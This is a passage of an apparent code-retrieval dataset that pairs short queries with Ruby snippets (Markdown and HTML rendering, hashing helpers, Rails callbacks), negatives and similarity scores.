encoded[:em_dash]\n after_word = nil\n when s.scan(/--/) then\n html << encoded[:en_dash]\n after_word = nil\n when s.scan(/&quot;|\"/) then\n html << encoded[indquotes ? :close_dquote : :open_dquote]\n indquotes = !indquotes\n after_word = nil\n when s.scan(/``/) then # backtick double quote\n html << encoded[:open_dquote]\n after_word = nil\n when s.scan(/(?:&#39;|'){2}/) then # tick double quote\n html << encoded[:close_dquote]\n after_word = nil\n when s.scan(/`/) then # backtick\n if insquotes or after_word\n html << '`'\n after_word = false\n else\n html << encoded[:open_squote]\n insquotes = true\n end\n when s.scan(/&#39;|'/) then # single quote\n if insquotes\n html << encoded[:close_squote]\n insquotes = false\n elsif after_word\n # Mary's dog, my parents' house: do not start paired quotes\n html << encoded[:close_squote]\n else\n html << encoded[:open_squote]\n insquotes = true\n end\n\n after_word = nil\n else # advance to the next potentially significant character\n match = s.scan(/.+?(?=[<\\\\.(\"'`&-])/) #\"\n\n if match then\n html << match\n after_word = match =~ /\\w$/\n else\n html << s.rest\n break\n end\n end\n end\n\n html\n end", "def convertHtmlToMarkdown\n root = pathExports\n n = 1\n Pathname.glob(pathExports() + \"**/*.html\").each do |p|\n puts \"File \" + n.to_s + \": \" + p.to_s\n n = n + 1\n infile = p.to_s\n outfile = p.sub_ext(\".md\").to_s\n command = \"pandoc -f html -t markdown -o #{outfile} #{infile}\"\n puts command\n sh(command)\n end\nend", "def render_markdown(text)\n html_renderer.render(text).html_safe if text.present?\n end", "def markdown(text)\n BlueCloth::new(text).to_html\nend", "def normalise_html(html)\n Nokogiri::HTML5.fragment(html).to_s\n end", "def html2md(field)\n return if !self[field].match(/<[a-z][\\s\\S]*>/)\n self[field] = ReverseMarkdown.convert(self[field])\n end", "def markdown(text)\n BlueCloth::new(text).to_html\n end", "def text_to_html( content )\r\n content = case @markup_type\r\n when :markdown\r\n markdown_to_html( content )\r\n when :textile\r\n textile_to_html( content )\r\n when :rest\r\n rest_to_html( content )\r\n end\r\n content\r\n end", "def markdown\n @markdown ||= process_markdown!\n end", "def markdown(text)\n return '' if text.nil? || text.empty?\n Wink::Markdown.new(text, :smart).to_html\n end", "def markdown(text)\n return '' if text.nil? || text.empty?\n Wink::Markdown.new(text, :smart).to_html\n end", "def markup_manipulation(html_fragment)\n html_doc = Nokogiri::HTML html_fragment\n html_doc = link_manipulations html_doc\n html_doc = image_manipulations html_doc\n return html_doc.css('body').children.to_s\n end", "def convert_to_document() \n Nokogiri::HTML.parse(convert())\n end", "def convert_html(html)\n # Sanitize the html and surround in a <span> tag to make it work with htmltolatex better\n html = \"<span>\" + sanitize(html, :tags => %w(em i sup sub)) + \"</span>\"\n\n # Create the temp files and output the html source to the first one\n raw = Tempfile.new('htmltolatex_html')\n output = Tempfile.new('htmltolatex_tex')\n raw << html; raw.flush\n \n # Run htmltolatex on the source\n path = File.join(RAILS_ROOT, \"lib\", \"htmltolatex\")\n `cd #{path} && #{File.join(path, \"htmltolatex\")} -input #{raw.path} -output #{output.path}`\n\n # Read in the results\n converted = File.open(output.path, \"rb\") { |f| f.read }\n \n # Close and unlink the files\n raw.close!\n output.close!\n \n # Return the results\n converted\n end", "def designer_markdown text, options = {}\n return if text.blank?\n Kramdown::Document.new(text, {\n syntax_highlighter_opts: {\n line_numbers: nil\n }\n }.merge(options)).to_html\n end", "def markdown(text)\n BlueCloth.new(text).to_html\n end", "def markdown(txt)\n options = %i[\n hard_wrap filter_styles autolink\n no_intraemphasis fenced_code gh_blockcode\n ]\n doc = Nokogiri::HTML(Redcarpet.new(txt, *options).to_html)\n doc.search('//pre[@lang]').each do |pre|\n pre.replace Albino.colorize(pre.text.rstrip, pre[:lang])\n end\n doc.xpath('//body').to_s.gsub(%r{</?body>}, '').html_safe\n end", "def process_markdown\n attachments.each do |att|\n # ~ magic regex ~\n self.markdown = self.markdown.sub(/\\[.+?\\]\\(.+?\\/#{att.file.id}\\/.+?\\)/) do |md_str|\n att.file_attacher.store!\n \"[#{att.file_filename}](#{att.file_url})\"\n end\n end\n self.html = Kramdown::Document.new(self.markdown || '').to_html.gsub(/[\\r\\n]+/, '')\n end", "def text_to_html( content )\n content = case @markup_type\n when :markdown\n markdown_to_html( content )\n when :textile\n textile_to_html( content )\n when :mediawiki\n mediawiki_to_html( content )\n when :rest\n rest_to_html( content )\n end\n content\n end", "def make_html\n @document.encoding = 'UTF-8'\n @best_candidate = nil\n end", "def markdown_to_html(content)\n render_options = {hard_wrap: true, filter_html: true, safe_links_only: true}\n markdown_options = {no_intraemphasis: true, autolink: true, superscript: true, fenced_code_blocks: true }\n markdown = Redcarpet::Markdown.new(Redcarpet::Render::HTML.new(render_options),markdown_options)\n return markdown.render(content).html_safe\n end", "def markdownify(input)\n converter = @site.getConverterImpl(Jekyll::Converters::Markdown)\n converter.convert(input)\n end", "def fix!\n fragment = Nokogiri::HTML.fragment(self.html)\n fragment.to_html\n end", "def render_md(site, readme)\n begin\n mkconverter = site.getConverterImpl(Jekyll::Converters::Markdown)\n readme.gsub! \"```\",\"\\n```\"\n readme.gsub! '```shell','```bash'\n return mkconverter.convert(readme)\n rescue\n return 'Could not convert readme.'\n end\nend", "def render_markdown\n return if self.markdown.nil?\n\n render_as = Redcarpet::Render::HTML\n engine = Redcarpet::Markdown.new(render_as, :autolink => true,\n :space_after_headers => true)\n self.content = engine.render(self.markdown)\n end", "def call\n result = self.class.markdown_renderer.result(schema: schema)\n if @html\n result = self.class.html_renderer.result(body: self.class.redcarpet.render(result))\n result.gsub(/id=\"(.+)\"/) {|text| text.tr(\"/:\", \"\") }\n else\n result\n end\n end", "def markdown(text)\n\t\tBlueCloth::new(text).to_html\n\tend", "def simple_markdown(text)\n simple_format markdown text\n end", "def writeMarkdown(doc, page)\n\n layers = page[\"children\"].reverse\n pagetitle = page[\"name\"]\n blocks = []\n\n # Let's get the text layers\n text = layers.select do |layer|\n layer[\"type\"] === \"TEXT\"\n end\n\n # Let's get only the frames\n frames = layers.select do |layer|\n layer[\"type\"] === \"FRAME\"\n end\n \n # let's build this\n frames.each do |frame|\n ftitle = self.showTitle?(frame[\"name\"]) ? frame[\"name\"] : nil\n fimage = self.getFrameImage(doc, page[\"name\"], frame)\n ftext = self.getFrameText(text, frame[\"name\"])\n\n blocks.push([ftitle, \"/#{@assetpath}/#{fimage}\", ftext])\n end\n\n\n # Do we have a summary?\n summary = text.select do |layer|\n layer[\"name\"] == \"_summary.md\"\n end\n\n summary = summary.size > 0 ? summary.first[\"characters\"] : nil\n\n # Do we have a tags?\n tags = text.select do |layer|\n layer[\"name\"] == \"_tags\"\n end\n\n tags = tags.size > 0 ? tags.first[\"characters\"] : nil\n menutag = !tags.nil? ? tags.split(\",\").first : nil\n\n \n # Export markdown from erb template\n filename = \"#{doc[\"document\"].parameterize}-#{pagetitle.parameterize}\"\n template = File.read('_plugins/figma-template.md.erb')\n result = ERB.new(template).result(binding)\n\n open(\"#{@pagespath}/#{filename}.md\", \"wb\") { |file|\n file.write(result)\n file.close\n }\n\n [pagetitle, filename, menutag]\n end", "def gfm(text, html_options = {})\n return text if text.nil?\n\n # Duplicate the string so we don't alter the original, then call to_str\n # to cast it back to a String instead of a SafeBuffer. This is required\n # for gsub calls to work as we need them to.\n text = text.dup.to_str\n\n @html_options = html_options\n\n # Extract pre blocks so they are not altered\n # from http://github.github.com/github-flavored-markdown/\n text.gsub!(%r{<pre>.*?</pre>|<code>.*?</code>}m) { |match| extract_piece(match) }\n # Extract links with probably parsable hrefs\n text.gsub!(%r{<a.*?>.*?</a>}m) { |match| extract_piece(match) }\n # Extract images with probably parsable src\n text.gsub!(%r{<img.*?>}m) { |match| extract_piece(match) }\n\n # TODO: add popups with additional information\n\n text = parse(text)\n\n # Insert pre block extractions\n text.gsub!(/\\{gfm-extraction-(\\h{32})\\}/) do\n insert_piece($1)\n end\n\n sanitize text.html_safe, attributes: ActionView::Base.sanitized_allowed_attributes + %w(id class), tags: ActionView::Base.sanitized_allowed_tags + %w(table tr td th)\n end", "def to_markdown\n mark_trees_for_export\n export_options = {\n :markup_file => @parser_options[:markup_file]\n }\n output = \"\"\n output_buffer = MarkdownOutputBuffer.new(output, export_options)\n\n translate(@header_lines, output_buffer)\n @headlines.each do |headline|\n next if headline.export_state == :exclude\n case headline.export_state\n when :exclude\n # NOTHING\n when :headline_only\n translate(headline.body_lines[0, 1], output_buffer)\n when :all\n translate(headline.body_lines, output_buffer)\n end\n end\n output\n end", "def md(text)\n markdown text.\n gsub(/{{([a-z]+([\\.\\-\\_][a-z]+)*)}}/, '[\\1](/\\1)'). # {{name}} -> [name](/name)\n gsub(/{{([^\\|}]+)\\|([a-z]+([\\.\\-\\_][a-z]+)*)}}/, '[\\1](/\\2)'). # {{link text|name}} -> [link text](/name)\n to_s\n end", "def markdown(text)\n sanitize(BlueCloth::new(text).to_html)\n end", "def markdown(text)\n return \"\" unless text\n\n CommonMarker.render_doc(text, :SMART).to_html([:NOBREAKS]).html_safe\n end", "def print_markdown(txt)\n Markdown::Processor.instance.render(txt)\n end", "def purify_html\n doc= Nokogiri::XML::DocumentFragment.parse(self.to_s)\n doc.search(\".//strong\").each do |e|\n e.swap \"<b>#{e.inner_html}</b>\"\n end\n doc.search(\".//h4\").each do |e|\n e.swap \"<b>#{e.inner_html}</b>\"\n end\n doc.search(\".//h3\").each do |e|\n e.swap \"<b>#{e.inner_html}</b>\"\n end\n doc.search(\".//h2\").each do |e|\n e.swap \"<b>#{e.inner_html}</b>\"\n end\n doc.search(\".//h1\").each do |e|\n e.swap \"<b>#{e.inner_html}</b>\"\n end\n\n doc.search(\".//em\").each do |e|\n e.swap \"<i>#{e.inner_html}</i>\"\n end\n\n doc.search(\".//ul\").each do |e|\n e.swap \"#{e.inner_html}\"\n end\n doc.search(\".//ol\").each do |e|\n e.swap \"#{e.inner_html}\"\n end\n doc.search(\".//li\").each do |e|\n e.swap \"<p>#{e.inner_html}</p>\"\n end\n doc.search(\".//span\").each do |e|\n e.swap \"#{e.inner_html}\"\n end\n\n doc.to_xml(:encoding => \"UTF-8\").gsub(/\\n/,\" \").gsub(/\\s+/,\" \")\n end", "def to_html source=nil\n require 'md2man/html/engine'\n Md2Man::HTML::ENGINE.render(read(source))\n rescue LoadError\n raise 'Run `gem install md2man` to use BinMan::html().'\n end", "def embed_md_erb(filename) # => markdown string\n ERB.new(File.read(filename)).result(binding)\n end", "def markdown(text)\n htmlcoderay = HTMLWithCoderay.new(filter_html: true,\n hard_wrap: true)\n options = {\n fenced_code_blocks: true,\n no_intra_emphasis: true,\n autolink: true,\n lax_html_blocks: true,\n tables: true,\n strikethrough: true,\n superscript: true,\n underline: true,\n highlight: true,\n footnotes: true,\n with_toc_data: true\n }\n\n markdown_to_html = Redcarpet::Markdown.new(htmlcoderay, options)\n begin\n markdown_to_html.render(text).html_safe\n rescue ArgumentError => e\n \"<h1>Error in Markdown: #{e.message}</h1><p>#{@blog.body}</p>\".html_safe\n end\n end", "def run(content, params = {})\n require 'nokogiri'\n Nokogiri::HTML::Document.parse(content).to_html\n end", "def liquidize_markdown(content, arguments)\n # doc = BlueCloth.new(Liquid::Template.parse(content).render(arguments, :filters => [LiquidFilters], \n # :registers => {:controller => controller, :view => self, :account_site_assets => account_site_assets, :current_user => current_user}))\n doc = ::Kramdown::Document.new(Liquid::Template.parse(content).render(arguments, :filters => [LiquidFilters], \n :registers => {:controller => controller, :view => self, :account_site_assets => account_site_assets, :current_user => current_user}),\n :parse_block_html => true)\n return doc.to_html.html_safe\n end", "def html_markup_html(text); end", "def markdown(text)\n BlueCloth::new(text).to_html.html_safe\n end", "def markdown\n markdown = Redcarpet::Markdown.new(Redcarpet::Render::HTML)\n end", "def render_markdown(markdown)\n settings.markdown_renderer.render(markdown)\n end", "def markdown(text)\n# coderayified = CodeRayify.new(:filter_html => true,:hard_wrap => true)\n coderayified = PygmentsHTML.new(\n with_toc_data: true,\n hard_wrap: true\n )\n# coderayified = Redcarpet::Render::HTML.new(:filter_html => true,:hard_wrap => true)\n options = {\n :no_intra_emphasis => true,\n :tables => true,\n :fenced_code_blocks => true,\n :autolink => true,\n :strikethrough => true,\n :lax_spacing => true,\n :superscript => true\n }\n markdown_to_html = Redcarpet::Markdown.new(coderayified, options)\n markdown_to_html.render(text).html_safe\n end", "def parse(html, options = {})\n # clean html\n clean_html = cleaner.clean(html, options)\n\n # fix html\n pdf_model = fixer.fix(clean_html, options)\n end", "def markdown(text)\n options = {\n filter_html: true,\n hard_wrap: true, \n link_attributes: { rel: 'nofollow', target: \"_blank\" },\n space_after_headers: true, \n fenced_code_blocks: true\n }\n\n extensions = {\n autolink: true,\n superscript: true,\n disable_indented_code_blocks: true\n }\n\n renderer = Redcarpet::Render::HTML.new(options)\n markdown = Redcarpet::Markdown.new(renderer, extensions)\n\n markdown.render(text).html_safe\n end", "def render_document(content, extension)\n if %w{md mdown markdown}.include?(extension.downcase)\n render_markdown(content)\n else\n content\n end\n end", "def description_html\n convert_html description\n end", "def to_s\n MarkdownService.markdown_as_text(md_title, true)\n end" ]
[ "0.72599363", "0.7212987", "0.70050335", "0.671624", "0.6709958", "0.6708382", "0.66602504", "0.6659621", "0.664389", "0.6614171", "0.6587399", "0.6575198", "0.6575198", "0.6528675", "0.65085465", "0.6494677", "0.64903384", "0.6483132", "0.64438254", "0.6427199", "0.6414201", "0.639863", "0.6356065", "0.6349768", "0.63424814", "0.63270074", "0.63249665", "0.624992", "0.6247761", "0.6247761", "0.623889", "0.6233636", "0.6209557", "0.618406", "0.61785984", "0.61613584", "0.61462146", "0.61462146", "0.6140803", "0.61368585", "0.61343706", "0.61327004", "0.6118378", "0.6067516", "0.6064765", "0.6059516", "0.60481286", "0.602648", "0.60137516", "0.5991893", "0.5990632", "0.59716874", "0.5967316", "0.5963413", "0.5946921", "0.59360147", "0.58952916", "0.58816487", "0.5867934", "0.58618224", "0.58618224", "0.58396274", "0.58227557", "0.5817233", "0.5815985", "0.5808761", "0.5800511", "0.5766696", "0.5762114", "0.57467145", "0.57387626", "0.5733673", "0.57322776", "0.5727863", "0.57226884", "0.5716848", "0.57164776", "0.57048845", "0.5704585", "0.5691865", "0.5676561", "0.5661668", "0.5660049", "0.5657977", "0.5640763", "0.5640106", "0.56306016", "0.5620821", "0.5618784", "0.5594266", "0.5588853", "0.5553184", "0.5549326", "0.55488247", "0.5548028", "0.5543275", "0.5531845", "0.5510017", "0.5508701", "0.5499242", "0.5468917" ]
0.0
-1
Takes a hash of components
def installed? components = nil Hash[(components || to_install).map{|k, args|[k, cmp_installed?(*args)]}] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def params=(hash); end", "def params=(hash); end", "def hash=(_arg0); end", "def inject(hash); end", "def hash; end", "def hash; end", "def hash; end", "def hash; end", "def hash; end", "def hash; end", "def hash; end", "def hash; end", "def hash; end", "def hash; end", "def hash(*) end", "def hash(key); end", "def hash; map{|el| \"#{el.name} @ #{el.hash}\"}; map(&:hash).reduce(:+) % 2**32; end", "def hash\n end", "def hash\n end", "def hash\n end", "def hash() end", "def hash() end", "def hash() end", "def hash() end", "def hash() end", "def hash() end", "def hash() end", "def inject!(hash); end", "def _key(*args); args.hash; end", "def hash\n swap\n scatter\n completed_string\n end", "def hash\n @hash.hash\n end", "def all_prod_comp_hash(item=nil)\n\n hash = {}\n\n if(!item.nil?)\n items = item.components\n else\n items = @all_products\n end\n\n for comp in items\n\n hash[comp] = all_prod_comp_hash(comp)\n\n end\n\n return hash\n\n end", "def product_hash(hsh)\r\n attrs = hsh.values\r\n keys = hsh.keys\r\n product = attrs[0].product(*attrs[1..-1])\r\n product.map{ |p| Hash[keys.zip p] }\r\nend", "def map(hash); end", "def hash\n hash_args.hash\n end", "def hash_for(expression)\n\n end", "def split_hash(h)\n _, v, c, mash = h.split('$')\n return v.to_str, c.to_i, h[0, 29].to_str, mash[-31, 31].to_str\n end", "def split_hash(h)\n b, v, c, mash = h.split('$')\n return v, c.to_i, h[0, 29].to_str, mash[-31, 31].to_str\n end", "def hash\n value.hash\n end", "def hvals(key); end", "def hvals(key); end", "def hashify(key)\n array = key.split('')\n count = array.count\n index = array.inject(0) do |object,char|\n object += char.ord ** count\n count -= 1\n object\n end\n index % 89\n end", "def hash\n\t\tvalue.hash\n\tend", "def hash_hash(h)\n require 'digest/md5'\n\n ordered = h.sort.map { |i| i.class==Hash ? i.sort : i }\n return ordered.to_s\n Digest::MD5.hexdigest(Marshal::dump(ordered))\n end", "def cast_to_hash(params); end", "def comp_to(hash)\n return hash unless hash.instance_of?(Hash)\n if (hash.values[0] == hash.values[1])\n return hash.to_a[0]\n elsif ((hash.values[0] == \"P\") && (hash.values[1] == \"R\") \\\n || (hash.values[0] == \"S\") && (hash.values[1] == \"P\") \\\n || (hash.values[0] == \"R\") && (hash.values[1] == \"S\"))\n return hash.to_a[0]\n else\n return hash.to_a[1]\n end\nend", "def hash(*args, **_arg1, &block); end", "def hash\n @hash\n end", "def hash\n [value].hash\n end", "def hash\n [value].hash\n end", "def add(hash); end", "def colors_from_hash(match, hash); end", "def _process_comp(list_of_edges, hash_of_vertices)\n\t\tlist_of_components = []\n\t\t# list of IDs visited vertices\n\t\tvisited_edges = []\t\n\n\t\tdiscovered_vertices = []\n\t\t\n\t\tlist_of_edges.each do |edge|\n\t\t\tif visited_edges.include?(edge)\n\t\t\t\tnext\n\t\t\tend\n\t\t\n\t\t\tcomponent = _perform_comp_search(list_of_edges, edge)\n\t\t\tlist_of_components << component\n\n\t\t\tvisited_edges = visited_edges.concat(component)\n\t\tend\n\n\t\tcomp_list_of_edges = []\n\t\tlist_of_components.each do |comp|\n\t\t\tif comp.length >= comp_list_of_edges.length\n\t\t\t\tcomp_list_of_edges = comp\n\t\t\tend\n\t\tend\n\n\t\tcomp_vertices_edges = {}\n\t\tcomp_list_of_edges.each do |e| \n\t\t\tcomp_vertices_edges[e.v1.id] = e\n\t\t\tcomp_vertices_edges[e.v2.id] = e\n\t\tend\n\n\t\tcomp_hash_of_vertices = hash_of_vertices.select { |key, v| comp_vertices_edges.has_key?(key)}\n\t\t\n\t\treturn comp_list_of_edges, comp_hash_of_vertices\t\t\t\t\t\n\tend", "def change(hash); end", "def split_hash(digest)\n hash_format = Argon2::HashFormat.new(digest)\n # Undo the 2^m_cost operation when encoding the hash to get the original\n # m_cost input back.\n input_m_cost = Math.log2(hash_format.m_cost).to_i\n\n {\n variant: hash_format.variant,\n version: hash_format.version,\n t_cost: hash_format.t_cost,\n m_cost: input_m_cost,\n p_cost: hash_format.p_cost,\n salt: hash_format.salt,\n checksum: hash_format.checksum\n }\n end", "def from_hash(hsh)\n fail 'Hash must have at least 2 items' if hsh.size < 2\n [from_hash_x(hsh), from_hash_y(hsh)]\n end", "def hash\n element.hash\n end", "def hashed_key_and_args(key, *args)\n base = args.inject('') do |memo, arg|\n memo << (':' + arg.class.to_s + ':') << case arg\n when Array\n hashed_key_and_args(key, *arg)\n when Hash\n hashed_key_and_args(key, *arg.to_a)\n when NilClass, Numeric, String, Symbol\n arg.to_s\n else\n raise ArgumentError, 'can only compute digest for primitive objects'\n end\n\n Digest::SHA1::hexdigest(memo)\n end\n\n key + ':' + base\n end", "def hash_hash(h)\n require 'digest/md5'\n Digest::MD5.hexdigest(Marshal::dump(h.sort))\n end", "def merge(hash); end", "def merge(hash); end", "def merge(hash); end", "def hash\n name.hash ^ provider.hash\n end", "def render_hash(hsh)\n str = \"\"\n indiff_hsh = hsh.with_indifferent_access\n indiff_hsh.keys.sort.each do |key|\n str << \"#{key}: \"\n value = indiff_hsh[key]\n PP::pp(value, str)\n end\n str\n end", "def hash\n self.class.name.hash ^ @key.hash\n end", "def smart_hash(h)\n h = Hash[h.map{|k,v| [k, v.is_a?(Hash) ? smart_hash(v) : v]}]\n h.instance_eval do\n def method_missing(name, *args, &block)\n self[name.to_s]\n end\n end\n h\nend", "def compass(hash={})\n\t\t$_TAGHASH_['GSj'] = String.new\n\tend", "def method(hash)\n p hash # {\"location\"=>\"SF\", \"color\"=>\"red\", \"size\"=>100}\nend", "def map_input_data(hash)\n hash\n end", "def hash()\n #This is a stub, used for indexing\n end", "def key_for(data)\n data.hash\n end", "def register(params)\n @fields = params[\"fields\"]\n @tag = params[\"tag\"]\n @key = params[\"key\"]\n @digest = OpenSSL::Digest::SHA256.new\nend", "def all_component_hash(item=nil)\n hash = {}\n items = []\n if(!item.nil?)\n items = item.components\n else\n for comp in @all_components\n if(comp.component_parents.empty?)\n items.push(comp)\n end\n end\n end\n for comp in items\n hash[comp] = all_component_hash(comp)\n end\n return hash\n end", "def hashParameters params\n\n\t# Create a temp array\n\tparameters = []\n\n\t# Load each element into a one dimensional array\n\tparams.each do |p|\n\t\tp.each do |x|\n\t\t\tparameters << x\n\t\tend\n\tend\n\n\t# Convert to a hash and return\n\tparameters = Hash[*parameters]\nend", "def hash\n @elements.hash\n end", "def hash\n @elements.hash\n end", "def hash\n simplified.hash\n end", "def hash\n\t\t\"#{@x}#{@y}\".hash\n\tend", "def keyslot(key)\n # Only hash what is inside {...} if there is such a pattern in the key.\n # Note that the specification requires the content that is between\n # the first { and the first } after the first {. If we found {} without\n # nothing In the middle, the whole key is hashed as usually.\n s = key.index \"{\"\n if s\n e = key.index \"}\",s+1\n if e && e != s+1\n key = key[s+1..e-1]\n end\n end\n RedisClusterCRC16.crc16(key) % RedisClusterHashSlots\n end", "def hashify(key)\n array = key.split('')\n count = array.count\n array.inject(0) do |object,char|\n object += char.ord ** count\n count -= 1\n object\n end\n end", "def to_hash(*_arg0); end", "def hash_code; end", "def initialize hash\n @hash = hash\n end", "def generate_registration_key(components)\n string_to_encode = components.join('|')\n\n Digest::MD5.hexdigest(string_to_encode)\n end", "def split_hash(h)\n n, v, r, salt, hash = h.split('$')\n [[n, v, r].join('$') + '$', salt, hash]\n end", "def update(hash); end", "def unit_hash\n end", "def keyslot(key)\n # Only hash what is inside {...} if there is such a pattern in the key.\n # Note that the specification requires the content that is between\n # the first { and the first } after the first {. If we found {} without\n # nothing In the middle, the whole key is hashed as usually.\n s = key.index \"{\"\n if s\n e = key.index \"}\",s+1\n if e && e != s+1\n key = key[s+1..e-1]\n end\n end\n RedisClusterCRC16.crc16(key) % RedisClusterHashSlots\n end", "def keyslot(key)\n # Only hash what is inside {...} if there is such a pattern in the key.\n # Note that the specification requires the content that is between\n # the first { and the first } after the first {. If we found {} without\n # nothing in the middle, the whole key is hashed as usually.\n s = key.index \"{\"\n if s\n e = key.index \"}\",s+1\n if e && e != s+1\n key = key[s+1..e-1]\n end\n end\n\n RedisClusterCRC16.crc16(key) % RedisClusterHashSlots\n end", "def components\n arr = Arrays.new(@nb) { [] }\n (0...@component.size).each { |v| arr[@component[v]] << v }\n end", "def components\n arr = Arrays.new(@nb) { [] }\n (0...@component.size).each { |v| arr[@component[v]] << v }\n end", "def hash\n [@id].hash\n end", "def hash_key(name); end", "def hash\n [].hash\n end", "def method(hash)\n p hash # {\"location\"=>\"SF\", \"color\"=>\"red\", \"size\"=>100}\nend", "def hash # :nodoc:\n name.hash ^ type.hash ^ requirement.hash\n end", "def split_hash(h)\n n, v, r, salt, hash = h.split('$')\n return [n, v, r].join('$') + \"$\", salt, hash\n end", "def hash\n name.hash ^ version.hash\n end", "def hash\n @hash || @hash = (value.hash * -1)\n end", "def hash # :nodoc:\n identifier.hash ^ requirement.hash\n end", "def params_digest\n # return Digest::SHA1.hexdigest(params.sort.flatten.join(\"_\"))\n Digest::SHA1.hexdigest(params.to_s)\n end" ]
[ "0.61854196", "0.61854196", "0.60572964", "0.6051908", "0.59705013", "0.59705013", "0.59705013", "0.59705013", "0.59705013", "0.59705013", "0.59705013", "0.59705013", "0.59705013", "0.59705013", "0.590681", "0.5885476", "0.58484966", "0.58472466", "0.58472466", "0.58472466", "0.5818288", "0.5818288", "0.5818288", "0.5818288", "0.5818288", "0.5818288", "0.5818288", "0.5810229", "0.5806966", "0.5798862", "0.57618624", "0.57320875", "0.57309437", "0.5718352", "0.5715706", "0.57115936", "0.56905127", "0.5674887", "0.563703", "0.55985796", "0.55985796", "0.55931413", "0.55865085", "0.5578489", "0.5555359", "0.5548712", "0.5545984", "0.55346626", "0.5531186", "0.5531186", "0.55210644", "0.5504199", "0.54955554", "0.5485469", "0.5485411", "0.54668", "0.5458246", "0.54547995", "0.54522824", "0.54412967", "0.54412967", "0.54412967", "0.5433408", "0.54289085", "0.54147285", "0.54115796", "0.54071885", "0.5396437", "0.539086", "0.538633", "0.53812516", "0.53804684", "0.5379222", "0.5378164", "0.53735054", "0.53735054", "0.537177", "0.53709435", "0.5370169", "0.53670394", "0.5366693", "0.53549993", "0.53515446", "0.5348272", "0.5345251", "0.53281075", "0.53255683", "0.53247994", "0.5318435", "0.5317012", "0.5317012", "0.53050554", "0.5298746", "0.52946484", "0.529279", "0.5280323", "0.5264627", "0.52638274", "0.52534354", "0.52368534", "0.52364594" ]
0.0
-1
Use callbacks to share common setup or constraints between actions.
def set_business @business = Business.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def set_actions\n actions :all\n end", "def define_action_helpers?; end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup_handler\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def workflow\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def setup\n # override and do something appropriate\n end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", 